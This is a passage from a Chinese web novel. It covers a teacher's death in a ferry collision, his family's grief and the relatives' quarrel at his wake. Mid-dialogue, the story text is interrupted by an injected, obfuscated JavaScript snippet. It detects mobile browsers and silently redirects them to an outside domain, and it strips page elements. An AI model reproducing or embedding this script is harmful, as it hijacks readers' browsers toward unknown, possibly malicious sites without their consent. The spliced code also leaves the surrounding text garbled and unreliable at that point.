《南城儿女[年代]》 7. 出事了 “小小竹排江中游,滔滔江水向东流,红星闪闪亮,照我去战斗……砸碎万恶的旧世界……”① 林有斌走到门口,一眼就看到林飞鱼躺在地上的竹席上,翘着小脚丫一边摇晃一边唱歌,手里还捧着一本小人书看得津津入味,连他来了都不知道。 他眉头一蹙训斥道:“瞧你坐没坐相站没站相,成何体统!你爸妈难道都不管你吗?” 一听到“林有病”的声音,林飞鱼跟打了鸡血一样从地上坐起来,却没想到头发夹在竹席里,扯得她龇牙咧嘴。 林有斌越发嫌弃,自顾走进来问:“你爸呢?” 林飞鱼摸了摸发麻的头皮:“在厨房。” 林有斌在椅子坐下,命令说:“去把你爸叫过来。” 林飞鱼偷偷瞪了他一眼,穿上鞋子飞快跑下楼:“爸爸,叔公家那个讨人厌的小叔来了。” 林有成把煮好的鸡蛋腐竹糖水倒进保温瓶里,又把一碗糖水推过去说:“拿去喝吧,已经不烫了,不过以后不能再说这样的话,知道了吗?” 林飞鱼看着糖水双眼发亮,乖巧说:“我知道,我只在爸爸面前说。” 林有成无奈一笑,提着保温瓶走出厨房。 林飞鱼三两口把糖水解决掉,从水缸里舀了一瓢水冲刷了一下就急匆匆往家跑。 她得回去战斗,砸碎万恶的“林有病”。 林有成进入客厅没有看到林有斌的人,立即就朝卧室走去,果然看到林有斌在里面,一只手放在衣柜上正要打开。 林有斌听到后面的响动,手快速缩回来,回头一脸坦然自若说:“二哥你回来了,我刚才看到有只蜘蛛往柜子里去,我就想开柜子把那蜘蛛赶出来。” 林有成面无表情看着他:“你过来做什么?” 林有斌回到客厅的椅子坐下:“二哥,我要结婚了,爸妈想让你陪我一起去海南求亲。” 两年前,林有斌想顶替林有成去罐头厂子弟学校教书,却被林有成给拒绝了,哪怕林老二夫妻放出狠话,说要跟他这个儿子断绝关系也没能让林有成改变心意,反而从此不踏进林家一步,林有斌在城里找不到工作,最终只能去海南下乡当知青。 林有斌去海南两年,得到了两样东西,一个是因为抢收农作物时吸入了粉尘导致的哮喘病,一个是公社书记女儿的爱。 林有斌外表斯文俊秀,嘴巴又会哄人,把那个姑娘哄得死心塌地非他不嫁,还哄得未来老丈人愿意拿钱给他回来广州买工作,当然前提是两人必须先领证结婚。 林有成说:“求亲这种大事自然要让你父母陪着去,我一个堂哥跟你过去,女方会以为你们不够重视他们。” 林有斌嬉皮笑脸道:“二哥,我来之前妈跟我说了,她说你要是不愿意,她就亲自过来求你。” “你……你们!” 林有成霍地站起来,瞪着林有斌,垂在两侧的拳头攥紧了。 想起上次他生母跪在他面前的那个场景,林有成心中满腔悲怆,感觉喘不过气。 他又想起李兰之说的四个父母还不如一个都没有的话,痛苦、失望、愤怒,所有负面的情绪涌上心头,如狂风暴雨的海面剧烈翻腾。 这些人还要把他逼到什么时候才肯停止? 可所有的情绪在看到女儿的刹那,再次一一被压了下去,林有成冷冷问道:“什么时候去?” 林有斌对他这个反应一点也不意外,说:“大后天傍晚有班轮船从广州开往海南,二哥这边要是没问题的话,我们就坐这班去。” 林有成再次冷冷说:“我知道了。” 林有斌站起来:“对了,弟弟我还没有工作,这轮船的票钱还麻烦二哥帮我先垫付着,以后我再还给二哥。” 林有成胃部一阵阵痉挛。 叫他一起去求亲,不就是为了让他出钱,吃进去的东西怎么可能吐出来? 都说父母爱子女是天性,想他这一生,比别人多了一对父母,原是比别人幸福的事情,却没有一个爱他,兄友弟恭更是不存在,失望、悲哀仿佛滚雪球一样在林有成心里越滚越大。 林飞鱼眼尖看到爸爸紧握的拳头,于是倒了一杯水,又往里面加了一点料追了出去:“小叔,我刚才忘记给你倒水了。” 林有斌确实有些口渴了,接过杯子仰头喝下去说:“这水怎么味道怪怪的?” “……” 林飞鱼心跳得很快,她第一次干这种事情。 林有斌没纠结太久,反而教训了起来:“以后对长辈说话要用您,别总是你你你的,没大没小!” “嗯。” 林飞鱼应了一声,觉得这人真心讨厌。 朱六婶虽然也喜欢教训人,但她同时十分热心,不管哪个邻居有困难她都冲在最前面,可“林有病”是纯粹的恶人。 等林有斌一走,林飞鱼飞速跑回楼上,趴在小窗口上,等他从小窗口经过时,手里的小石头朝他身上用力砸过去。 “哪个兔崽子,给我出来!再不出来等我找到你,我扒了你的皮!” 林有斌被砸在太阳穴上,同时又被吓了一跳,整个人暴跳如雷。 林飞鱼趴在窗子口下,小手捂着嘴巴,听着心跳砰砰砰直跳,原来这就是做坏事的感觉,莫名有点刺激。 林有斌往楼上窗口扫了一圈,没看到人,低头却看到那个小石头上居然还团着一张纸条,于是弯腰捡起来展开一看,只见上面歪歪扭扭写着一行字—— “你个死扑街!” 林有斌怒发冲冠:“兔崽子,给我出来!!!” 他倒没觉得是林飞鱼,主要是他觉得林飞鱼没那个胆。 等林有斌骂骂咧咧走后,林飞鱼这才从小窗口冒出半个小脑袋,谁知却对上一双极黑的眼眸。 是江起慕。 “……” 林飞鱼立刻心虚了起来。 江起慕刚才该不会看到她砸人了? 他会不会去打小报告? 几分钟后,江家的门被人敲响,等江起慕出来开门却没看到有人,不过门口多了三颗大白兔奶糖和一张纸条。 他把东西捡起来,展开纸条,只见上面写着一行娟秀的字:“江同学,请你吃糖。” 没有署名。 但江起慕一眼就认出了那笔迹,想起刚才在对面窗口看到的半个躲躲藏藏的小脑袋,他一下子就明白过来了。 这三颗糖是用来贿赂他的。 这时,卧室里跑出来一个三十岁左右的女人,扎着两条麻花辫,歪头问江起慕道:“哥哥,谁来我们家了?” 江起慕回过神来说:“没有人来,妈妈你要吃糖吗?” 女人拍着手高兴地跳了起来:“好啊,好啊,卉卉最喜欢吃糖了。” 对面宿舍依稀传来脚步声,江起慕把纸条塞进口袋里,转身走回屋里,然后关上门。 林飞鱼颤颤兢兢等到天黑,发现江起慕没把大白兔奶糖还回来,这才眉眼弯弯抱着小被子进入梦乡。 现在他们是共犯了,这样她就不用担心江起慕会告发她。 她真是个小聪明。 当夜李兰之从车间回来已经很晚了,累得连洗澡都没有力气,林有成本想跟她说去海南的事情,但没说两句她就睡着了。 他只好给她盖上被子,到了第二天傍晚去送糖水的时候才跟她说了这事。 要是换成平时,李兰之肯定要发脾气,只是水果罐头大生产任务了一个月,她实在太累太困了:“那你早去早回。” 林有成点头:“我这一去短则五六天,多则七八天,你自己要顾着身体,别这么拼。” 旁边还有其他职工,李兰之觉得难为情,小声说:“知道了知道了,我会照顾好自己。” 林有成又说:“飞鱼那里我会给她足够的钱,她会照顾自己,要是她做错了什么,你多担当一点……” 李兰之不耐烦打断他:“好了好了,我知道你想说什么,你不就怕你的宝贝女儿受委屈了,你别忘了飞鱼也是我的女儿,难道我还能吃了她不成?” 林有成推了推眼镜,轻声笑了起来:“我不是那个意思,我就是……” 李兰之再次打断:“总之你就放心吧,你走的时候你闺女是啥样,等你回来还是啥样,我保证不会亏待她,总行了吧?” 她一直想再生个儿子,这两年独生子女政策实行的范围越来越广了,她担心现在不生,后面再也生不了,可西药中药都吃了不少,肚子就是一直没有动静。 她心里自然没放下那个疙瘩,可她也十分了解林有成这人,别看平时温文尔雅的,可一旦下定决心,十头牛也没办法让他回头,所以她不敢赌。 有时候她也会想,其实没有儿子也没什么,主席不也说了,妇女能顶半边天,她作为一个女性,赚的不也没比男人差…… 林有成这时出声打断了她的思绪,他看了看天色说:“六点半的船,我该走了。” 他们是双职工,两人一个月工资加起来差不多六十元,却买不起一只手表,他看天色的动作让她心里莫名有些酸楚,本想说等他回来给他买个手表,这次不要二手的,就要一手的,还必须上海牌的。 不过话到嘴边她又咽了回去,准备等买了后再告诉他,给他一个惊喜。 看李兰之依依不舍的样子,罗月娇忍不住揶揄说:“兰之别看了,再看眼睛都要掉下来了。” 其他人闻言哄笑起来。 李兰之脸瞬间红了,啐了她一口:“你少冤枉我,我刚才是在想事情。” 罗月娇: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13983027|148228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “说起来还是林老师体贴,天天过来送吃送喝的,每天晚上还给倒好洗脚水,我家那个要是肯对我这么好,我睡着都能笑醒。” 其他人听到这话更是笑个不停,说有她不害臊的,也有人点头附和的。 林老师是大院里出了名的好男人,做饭洗衣服照顾孩子,样样都是他在做,不像其他男人,回到家就跟大爷一样翘着二郎腿等吃的,就这样还要挑三拣四各种挑剔,真是惯得他们! 一帮女人纷纷吐槽自己的丈夫,这里面只有两个人没有出声参与。 一个是没了丈夫的刘秀妍,另外一个是素来话少的章沁。 章沁扭头朝那个已经走远的身影看去,眼底涌动着让人看不懂的情绪。 休息时间结束,大家回到岗位上去,刘秀妍一个人往仓库去,她是后勤仓库的,刚才过来送货才过来车间。 这会儿身边没人,她从鼻子哼了声:“这人啊还是老实低调点好,要不然哪天老天爷看不下去一把给收回去,到时候别哭都来不及!” 她觉得李兰之太高调了,要是换成她肯定没脸这么当众秀恩爱,更别说李兰之一直生不出儿子来,别看林有成现在表面一副不在乎的样子,但男人都是口是心非的,他们心里都想要儿子。 还有李兰之现在虽然看着不老,可女人老得快啊,再过几年林有成说不定就要嫌弃她人老珠黄了。 林有成回到宿舍,拿起昨晚就收拾好的人造革行李包,回头看到女儿眼睛水汪汪盯着他看,他走过去摸了摸她的头说:“在家乖乖听你妈的话,等爸爸给你带小人书回来。” 林飞鱼手背在身后,样子跟平时不一样,有些扭捏:“爸爸,我给你写了封信,不过你要答应我,你现在不可以看。” 林有成有些意外:“你给爸爸写了信?信里面写了什么?” 林飞鱼:“你先答应我。” 林有成笑着点头:“好,爸爸答应你,爸爸现在不看,等上了船再看好不好?” 林飞鱼这才把信从背后拿出来,信被折成了千纸鹤的形状,上面还整整齐齐写了三个字:爸爸(收)。 林有成微微一笑,把信装到上衣口袋,煞有介事地拍了两下说:“好了,这样绝对不会丢的,爸爸走了。” “我送爸爸你下去。” “好。” 可到了楼下林飞鱼又改口要送到大院门口,林有成也没有反对。 到了大院门口不能再送了,林有成让她回去。 林飞鱼摇头:“我要看着爸爸走。” 再晚就赶不及上船,林有成只好又叮嘱了两句,提着行李包转身走了。 林飞鱼看着爸爸的背影,下午的阳光照在他身上,把他的影子拉得很长很长,她想起两年前离开阿婆的场景,让她莫名有股想流泪的冲动。 “爸爸~爸爸~” 林有成走出了好远,突然听到后面传来的声音,他转身朝女儿挥手:“快回去。” 林飞鱼跳起来,用力地朝爸爸挥手:“爸爸,你要快点回来~” “好,爸爸很快就回来了,你快回去。” 爸爸的背影越来越远,越变越小,到最后什么都看不见。 长大后的林飞鱼时常想起这一天,如果她知道即将发生的事情,她说什么也不会让爸爸走。 可人生没有如果,她也没有预知未来的超能力。 乌云从远方的天边翻滚而来,夜幕迅速降临。 风急雨骤,常明松冒雨骑着自行车前行,雨水扑打在脸上,他整个人仿佛落汤鸡般全身湿透了。 门卫汪伯拦住他:“这位同志,你找谁?” 常明松抹了一把脸上的雨水,喘着气说:“阿伯,麻烦您通知一下实罐车间的李兰之,就说……就说她丈夫林有成出事了。” 汪伯吓了一跳,他孙子是林有成的学生,听到是林老师出事了,汪伯丝毫不敢耽搁,返身传达室给实罐车间打了个电话过去。 过了十几分钟,一阵急促的脚步声由远而近,常明松抬头看去,便看到李兰之一路跌跌撞撞跑过来,身上没穿任何雨具,脸色苍白,仿佛随时会被风吹倒。 跑到常明松面前,李兰之颤抖着唇说:“明松,有成他怎么了?” 常明松沉声说:“两艘客轮互相撞上,不到几分钟两条船都沉没了,很多人都……都没能逃出来……” 李兰之先是呆呆地看着他,好半天才回过神来,整个人颤抖得像筛抖:“那有成呢?有成逃出来了吗?” 常明松不忍和她对视,撇过脸说:“我在被救上来的人群里看到了有成的弟弟,他说……他说舷窗被钢条封死了,有成没能逃出来……” “你胡说!” 李兰之尖锐叱喝一声,继而双眼一翻,昏死了过去。 8. 不瞑目 天空乌云仍在翻滚,雨已经停了,凤凰花被摧毁得七零八落,淌在泥泞的路面上。 罐头厂实罐车间里灯火通明,大家手上动作不停,眼睛却时不时飘向李兰之已经空了的岗位。 “林老师那样的好人怎么说没就没了?不是我迷信,不过该忌讳的还是得忌讳,他们就不应该中元节出门。” “你少乌鸦嘴,你都说林老师是好人了,吉人自有天相,林老师一定会没事的。” “对对对,林老师一定会没事的,说起来我小舅子真是幸运,他当时看到江水涌进窗口,就立即往外跑,还好他跑得快,要不然这会儿人肯定也没了,他说当时耳边不断传来各种凄惨的尖叫声和呼救声,就跟人间地狱一样,上岸后,他看到在甲板上的乘客都跳水逃生了,可船舱内的乘客就……” 后面的话没说下去,但大家此时都心知肚明,船舱内的乘客只怕凶多吉少。 有些客轮为了防止乘客爬船逃票,便将船上所有窗口都钉上铁条,这样的确能防止逃票,可一旦出现意外,里面的人也别想逃出来。 要是林老师没了,李兰之年纪轻轻就要守寡,林飞鱼那孩子就要没了爸爸,都太可怜了。 但尽管如此,他们还是抱着一丝侥幸心理,希望林有成能够逃出生天能够吉人天相。 刘秀妍慌慌张张跑进卧室,猛地关上门,关上窗户,然后从身上掏出钥匙,打开一个柜子,从里面小心翼翼拿出两个木刻的牌位,然后恭敬放在桌子上对着它们又跪又拜。 “天后圣母娘娘,孩子他爸,求求你们,求你们一定要保佑李兰之的丈夫林有成逢凶化吉,千万不能有事,拜托拜托!” 说完又重重磕了三个头后,她才把东西收起来重新锁到柜子里,只是她的心依旧没办法平静下来。 她承认自己是有点嫉妒李兰之,但她可以对天发誓,她没有想要林有成死,更没有想让李兰之跟她一样变成寡妇。 当寡妇的苦楚,没人比她更清楚,自己淋过雨,她没想过要去撕烂别人的伞。 她就是有点看不惯李兰之天天那么高调秀恩爱,所以才忍不住吐槽了几句,她也没想到自己会这么乌鸦嘴。 刘秀妍捂着脸哭了起来,万一林有成真被她给诅咒死了怎么办? 这时外面传来敲门声,苏奶奶着急道:“秀妍你没事吧?怎么还把门锁上了?” 刘秀妍丈夫还在世时,他们夫妻俩住的是隔出来的大房间,后来丈夫去世后,她便搬到现在这个小房间一个人住,两个孩子跟苏奶奶住。 刘秀妍赶紧擦了眼泪去开门,小声说:“妈,我没事。” 苏奶奶一眼就看到儿媳通红的眼睛,以为她是想到了自己丈夫死的事情,便没追问,说:“既然没事那就出来吧,大伙都到齐了。” 这个大伙指的是十八栋的邻居,除去打探消息的常明松和朱六婶的大儿子朱国才两人,其他大人都到齐了。 主持人自然是十八栋的“定海神针”朱六婶。 朱六婶站起来,手撑在桌子上扫了大家一眼说:“林老师的事情想来大家都知道了,林老师为人善良,对工作认真负责,对待邻居真诚友爱,如今他出了事,作为同是十八栋的邻居,我们肯定不能袖手旁观。” 苏奶奶第一个相应号召:“我明天就去跟人换鸡蛋,顺便去看看市场看看有没有新鲜的鱼卖,接下来兰之和飞鱼两人的伙食就交给我。” 李兰之在医院醒来后急着要去找林有成,结果从楼梯摔下来导致轻微脑震荡,医生让留院观察几天。 朱六婶不甘示弱地表态:“我等会儿和月娇去医院,今晚就由我们婆媳俩来照顾她。” 刘秀妍闻言,连忙说:“六婶,要不今晚就让我和月娇一起去吧?” 这话一出,所有人的目光齐齐落在她身上。 罗月娇脑子缺根筋,说话经常得罪人而不自知,而刘秀妍的性子又太敏感,一个眼神都能让她纠结很久,因此平时刘秀妍都是避着罗月娇,没想到这次她主动提起要跟罗月娇一起去守夜,这就有些奇怪了。 刘秀妍被看得很不自在,小声说:“六婶毕竟年纪大了,熬夜这种事情就交给我们年轻人去做,我也是十八栋的一份子,就跟六婶说的,不能袖手旁观。” 朱六婶大为赞赏:“你这样想就对了,就得有这种觉悟,那行,今晚就由你和月娇两个人去医院照顾兰之,我和老头子明天再去替换你们。” 章沁说:“那飞鱼就由我来照顾。” 大家闻言再次大为震惊,章沁平时为人比较冷淡,就是跟家人一天也说不到几句话,没想到今天她这么主动。 或许是受了鼓舞,其他人也纷纷说了自己能做的事情。 朱六婶被大家感动得频频擦眼角,最后总结说:“这事大家回去后都不要跟孩子们说,免得说漏嘴让飞鱼那孩子知道了。” 大家连声应好。 一散会,章沁便直接上楼去。 她走在光线昏暗的楼梯间,没走两步,心口传来一阵痛感,她扶着楼梯被迫停下来,就在这时,楼上猛地传来一阵断断续续的哭泣声。 章沁顾不上心脏不舒服,疾步冲上楼,一眼就看到了站在窗口边抹眼泪的林飞鱼。 下雨后屋里又闷又潮,门窗大开着透风,月光此时从窗外照进屋里,照在林飞鱼脸上,照出了她脸上的难过和惶恐。 章沁走过去问:“飞鱼你怎么哭了?是哪里不舒服吗?” 林飞鱼抬起头来,眼睫上还盈着未干的泪珠:“沁姨,小白死了,我去睡觉的时候它还好好的,现在却突然不动了……” 章沁看向那只躺在她手心一动不动的乌龟,心里咯噔一声。 当初林飞鱼在学校被其他同学排挤,林有成为了女儿能快点融入集体,四处托人买了两只乌龟回来,两只乌龟刚买回来时只有拇指那么大,如今养到巴掌大,没想到在林有成出事这天,小乌龟也出事了,她心中觉得这不是个好兆头。 她收拢思绪,走过去与她平视说:“这世间所有的东西都是有时间性的,比如房子后面的凤凰花,过了开花的季节,花就会凋谢,又比如工厂生产的水果罐头,必须在保质期内吃完,要不然就会变坏,这动物也一样,当它们的寿命到了,就得跟我们说再见了。” 林飞鱼泪眼汪汪:“所以小白一动不动是寿命到了?” “对,小白的寿命到了,不仅动物如此,人也会有寿命期限……明天沁姨陪你把小白给埋葬了好不好?” 章沁终究不忍心说下去,要对一个孩子说生死这个课题实在太残忍了,若林有成真的不能再回来,那此时能让她多开心一刻是一刻。 林飞鱼乖巧点头:“好,不过我想把小白埋在屋后那棵凤凰树下,这样我就能每天都看到小白了。” “好。” 章沁转身正要去找块布把乌龟包好,就听到林飞鱼带着哭腔说—— “沁姨,我刚才睡觉梦见爸爸了。” 章沁手一抖,手里的乌龟差点掉地上,转身强作淡定说:“你梦见你爸爸什么了?” 林飞鱼低垂着水汪汪的眼睛:“我梦见爸爸掉进水里,我想去拉爸爸起来,可爸爸叫我不要过去,我一直跑一直跑,但爸爸越来越远……沁姨,我想爸爸了。” 从广西回来两年,这是她第一次跟爸爸分开,虽然分开还没有半天,但她就是好想爸爸。 一滴眼泪从章沁眼里滚落下来,她连忙抬手把眼泪擦掉,然后尽力使自己的声音听上去正常:“飞鱼别怕,只是做梦而已,大家说梦都是相反的,所以你爸爸很快就会回来了,还有你妈妈这几天要在车间连续上班,她让我过来照顾你,很晚了,我们上床去睡觉好不好?” 林飞鱼虽然心里还是很难受,但她不想让沁姨难做,她觉得沁姨跟其他大人不一样,她会问他们小孩子的意见,这让她觉得自己跟大人是平等的。 于是她点头,洗了手再次上床去睡觉。 小孩子思想单纯,上一秒还在哭,下一秒就能睡着,大人却做不到。 章沁站在林家卧室的窗口边,李兰之坐在病房的窗口边,两人望着窗外不同的景色,却同时觉得今晚的月色是从未有过的惨淡。 尽管大家都期盼奇迹的出现,但该来的还是来了。 第二天中午,一夜未归的常明松终于出现在医院,他面容憔悴,衣服乱糟糟,嘴角两道法令纹又深又悲伤。 大家一看他这个模样就知道事情不好了。 李兰之死死盯着他,喉咙仿佛被堵住一般喘不过气来,她感觉到自己张开了嘴巴,她想问有成怎么样了,却没有声音发出来。 朱六婶打破了沉默:“怎样了?林老师人找到了吗?” 常明松双眼布满了血丝,声音沙哑中带着哽咽:“找到了……但人已经没气了,航运公司那边还要进行登记和确认,等弄好后会让人送到医院的殓房来,国才在那边看着……” 说到最后常明松说不下去了,蹲在地上,双手插在头发里无声哀鸣。 现场一片死寂。 过了一会儿,不知道是谁先哭出声来,瞬间跟打开水龙头般,哭声一片。 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虽然到处在破四旧,但破得了的是规则,破不了的是人心和根深蒂固的观念,在大家眼里,死不瞑目是至死都不能安心。 这之后,李兰之不再寻死,却进入了另外一种极端,不吃不喝也不说话,她目光呆呆看着天花板,眼底如一波死水,仿佛灵魂随着林有成去了。 大院的人知道林有成的事情后,都陆续挤时间过来医院看望,但李兰之都不理会,直到苏奶奶过来。 “向进他爹死的时候他才三岁,我那年也才二十二岁,当时就感觉天塌下来了,我连着三天不吃不喝,就想着这样随他爹去算了。” 李兰之眼睫眨了下,如死灰般的眼眸也慢慢有了聚焦:“那后来呢,后来是什么支撑您走下去的?” 苏奶奶说:“是向进,他抱着我的手跟我说‘娘,我饿’,我看着向进那张跟他爹一个模子刻印出来的脸,心里突然就长出了一股力气,我觉得我要活下去,还得活出人样来,于是我洗了脸给孩子做饭,后来背着孩子去给人洗衣服扫公共厕所,一个人把孩子带大,给他娶了媳妇,帮忙照顾孙子,只是老天爷并没因此就放过我,我这一生少年丧母,青年丧夫,中年丧子,论苦,这大院里头有哪个人能苦得过我?” 在巨大的苦难对比面前,李兰之也只能反过来安慰对方:“对不起苏奶奶,勾起您的伤心事了。” 苏奶奶握着她的手说:“都过去了,再大的苦难只要咬紧牙关就能撑过去,我知道你跟有成的感情好,发生这样的事一时想不开也是正常的,只是你还年轻,飞鱼也还小,如果连你也走了,那孩子就真的太可怜了。” 李兰之抿了抿干裂的嘴唇:“我就是怨我自己,那天他走的时候,我对他那么不耐烦,没有好好跟他告别,有成他真的是一个好男人,苏奶奶您知道我的,我从小在后妈眼皮底下长大,四岁开始做家务活,一双手一到冬天就长满冻疮,后妈带来的儿子睡床铺,而我一年四季只能打地铺,我记得七岁那年家里不见了两块钱,我爸听了我后妈的话就不分青红皂白给了我一巴掌,把我一颗门牙都打掉了,在遇到有成之前,我还以为我这辈子都只能过那种苦日子……” 苏奶奶拍了拍她的手背,双目慈祥地看着她,鼓励她说下去。 “我记得那次工厂组织看露天电影,我平时是特别惹蚊子的人,那天蚊子却很少咬我,一扭头就看到他把自己的袖子和裤脚都挽起来,上面叮了不少蚊子包,见我看他,他耳朵一下子就红透了,红着脸说这样蚊子叮他多一点,就会叮我少一点,那时候我就想,嫁给这样的男人肯定会很幸福吧。” 她抓着苏奶奶的手,脑海里努力勾勒出林有成的样子,温柔的,体贴的,充满生命力的:“嫁给有成后我确实过得很幸福,从小到大,从来没有一个人对我那么好,有时候我都觉得自己无理取闹,但他从来不会对我发脾气。” 她嘴角的笑意化作汹涌而下的泪水:“可苏奶奶,我真的好心疼他,他从小到大受的苦一点不比我少,他明明比别人多了两个父母,却没有一个人真心对待他,工作了快十年,他却连只手表都买不起,我本来想等他这次从海南回来,就买只上海手表给他当惊喜,却不想……要是早知道会发生这样的事,我那天一定好好跟他告别,我一定不让他走呜呜呜……” 李兰之嚎啕大哭起来,哭声在空荡荡的病房里来回荡漾。 苏奶奶把她搂在怀里,轻轻拍着她的后背:“哭吧,哭出来就好了。” 9. 闹灵堂 林飞鱼多希望这一切只是个梦,等她醒来小白还好好地活着。 但她没有梦想成真,小白也没有活过来。 章沁把自己的首饰盒贡献出来给小白当棺材,又给它周身包裹上一条白色的手帕,林飞鱼去凤凰树下捡了几朵完整的凤凰花,然后和干虫、麦种等一起埋到小土坑里。 撒上最后一抔土时,她绷着小脸认真又严肃地发誓:“小白,我永远都不会忘记你的,小绿也不会。” 小孩说大人话,总有些搞笑,章沁站在旁边,却是眼眶发酸。 她不觉得林飞鱼会永远记得一只小乌龟,但她肯定会一辈子记得把她捧在手掌心的父亲。 她已经知道林有成的事情,却不知道该以什么样的方式来告诉林飞鱼才不会伤害到她。 林有成的尸体被送到医院殓房后,大院里年纪较大且见过生死的人都过来殓房,试图想让林有成闭上眼睛。 但都失败了。 朱六婶叹息道:“还是得让兰之过来,他们是夫妻,只有她最清楚林老师有什么未了的心愿。” 众人点头。 李兰之被扶着过来,看到林有成的瞬间,她丢掉手里的拐杖,整个人扑了过去:“有成你醒醒啊,你醒来看看我啊,你不是说会一辈子照顾我的吗?你为什么说话不算话啊?” “老天爷为什么这么不公平,你这么好的人,老天爷为什么要这么对你?为什么……为什么啊?” 李兰之声音里的绝望,让在场的人都潸然泪下,尤其是知道林有成身世的人,都忍不住为他感到心疼。 那样好的人却摊上那样的父母,现在连命都没了,留下孤儿寡母的,也难怪他死不瞑目。 许是没在水里泡太久的关系,林有成的身体并没有肿胀腐烂,但睁着眼睛的模样依旧很渗人,还是赶紧让他安心去为好。 朱六婶走过来扶着李兰之的肩膀说:“你这样子林老师还怎么安心走?林老师突然发生这样的事情,心里也许有什么放心不下的,你好好跟他说,然后让他安心去吧。” 李兰之感觉有双大手用力攥住她的心脏,让她痛得无法呼吸,但她也明白朱六婶的意思,她声音沙哑说:“六婶,我想一个人跟有成说几句话。” 朱六婶不放心:“兰之你还年轻,可千万别做傻事。” 李兰之保证:“六婶你放心,我不会做傻事的。” 朱六婶看她神色虽然很悲伤,但没有之前那样一心赴死的狠绝,最终还是同意了,带着其他人走出了殓房。 偌大的殓房安静了下来,殓房气温比外面低,里面放着几百具尸体,想想就让人不寒而栗。 李兰之没有害怕,她满心满眼只看得到林有成一人。 她伸手摸着他变得僵硬冰冷的脸颊,声音沙哑说:“我知道你在担心什么,你在担心你走后我会把你的宝贝女儿送给别人是不是?” 没人回答。 李兰之颤抖着唇:“要是你知道会发生今天这样的事情,你会不会后悔?” 没人回答。 但她知道,就算早知道,他也不会后悔。 他曾说,若真有克亲这东西,那就让她克他这个父亲,他都受着。 李兰之把手放到他的眼睛上,双手在微微颤抖:“我答应你,我会好好把她养大成人,绝对不会把她送给别人,你……就放心去吧。” 等她松开手,林有成的眼睛终于闭上了。 李兰之泪如雨下。 林有成的灵堂设在罐头厂工会后面的空地上,往日工厂职工的丧喜事都在这里举办。 新社会丧事要新办,帐子吹锣打鼓这些是没有的,临时搭起的棚子里摆放着一张八仙桌和长凳子,桌上放了一张林有成生前的照片,照片是他入职罐头厂时拍的,照片上的林有成刚从学校毕业,眼眸温和中带着青涩,仿佛就在昨天。 照片前面摆了新鲜水果、馒头和生猪肉,还有林有成生平最喜欢吃的菠萝罐头。 林有成人缘好,不管是老人还是小孩都很喜欢他,他还是个好老师,大院里不少孩子都是他的学生,因此过来祭拜的人络绎不绝,哭声不断。 李兰之坐在桌边,眼睛红肿,才短短两天的时间,她的脸颊就深深凹陷进去,周身围绕着一股绝望的悲伤。 林飞鱼就是在这时候被带进来的。 她看见爸爸的照片被摆放在桌子上,她看见妈妈面色苍白坐在旁边,她看见周围有不少人在抹眼泪,唯独没有看见爸爸。 她扭头看向章沁,声音听上去莫名带着害怕:“沁姨,爸爸呢?” 下一刻她的头顶便被覆上一只温暖的手,章沁蹲下来与她平视:“飞鱼,还记得前天晚上沁姨跟你说的话吗?” 林飞鱼点头。 “东西有使用期限,动物有寿命期限,人……人也一样有寿命期限,你爸爸的寿命期限到了,你过去跟他告个别。” 林飞鱼睁着一双黑黑的眼睛,就这么直直看着她。 小白的寿命到了,小白死了,爸爸的寿命期限到了,所以……爸爸也死了? 可爸爸怎么会死呢? 他前两天才答应她会很快回来,还答应给她带小人书回来,爸爸从来不会食言的。 章沁压抑着眼里的热泪,拉着她的小手来到桌子前说:“给你爸爸磕个头,好让他能安心去。” 林飞鱼被拉着跪在八仙桌前,又被拉着磕了个头,她不哭,不说话,好像个让人随意摆布的娃娃。 抬起头时她感觉有人在看自己,扭头一看,就见妈妈用一种很奇怪的眼神看着她。 不等她弄明白,身后就传来一阵喧闹声。 林毅德迈着八字步走进来,对众人劈头盖脸骂道:“有成是我们林家的儿子,要设灵堂也是由我们林家来设,谁让你们越俎代庖的?” 说着他看向李兰之,指着她的鼻子骂:“还有你,我们是有成的父母,你设灵堂跟我们商量过了吗就擅作主张?” 李兰之讥讽道:“原来你还记得你们是有成的父母啊?有成出事这么多天,你们林家一个人也没有出现,我还以为他是从石头里蹦出来的!” 林毅德老脸涨得通红:“你放肆!谁教你这么对长辈说话的?” 李兰之冷冷看着他:“长辈不慈,何以尊重?” 李毅德气得手指颤抖:“你……” 他是林有成的养父母,如今在广州蔬菜办当个小领导,这让他觉得自己是个有头有脸的人,因此进来后他敢耍官威,却不敢耍泼。 但林有成的生父生母却是没脸没皮的人,就听一个尖利凄惨的声音由远而近,刺激着所有人的耳膜—— “我可怜的儿啊,你死得好惨好冤枉,我的儿啊,你让妈妈以后怎么活啊?” “我的儿啊,妈妈怀胎十月生你下来,你怎么忍心让妈妈白发人送黑发人,你这是要了妈妈的命啊,我的宝贝儿子啊……” 苗丽娟披头散发地从外面跑进来,拍着八仙桌大声哭喊起来。 对于这帮人为什么过来,李兰之心里比谁都清楚。 这次海上运输事故是建国以来最严重的一次,总共造成了276人死亡,几乎有一半的乘客都没能逃出来,有消息传出,是驾驶员操作失误导致两条客轮碰撞在一起,驾驶员肯定是难逃惩罚,但航运公司也要对这次事故负主要的责任。 抚恤金具体数额暂时还没有确定下来,但这些苍蝇们已经闻着味道追了过来,李兰之瞪着他们,愤怒、悲哀在她的血管里沸腾、翻滚,随时都要爆炸开来。 这些人,至死都没有放过有成! 苗丽娟哭完就收,就跟水龙头一样收放自如,站起来指挥小儿子道:“有斌,你还在外面站着干嘛,还不赶紧进来把你二哥的遗像抱走,你二哥是我们二房的人,这丧事自然得由我们二房来办。” 李兰之这才注意到林有斌的存在,他站在棚子外面,耷拉着头,下巴几乎触到胸膛,这跟他平时用鼻孔看人的模样很不一样。 林毅德闻言,更是气得胸膛剧烈起伏:“弟妹,你这话就不对了,有成什么时候成了你们二房的儿子?当年过继的证明上写得清清楚楚,有成是我们大房的儿子。” 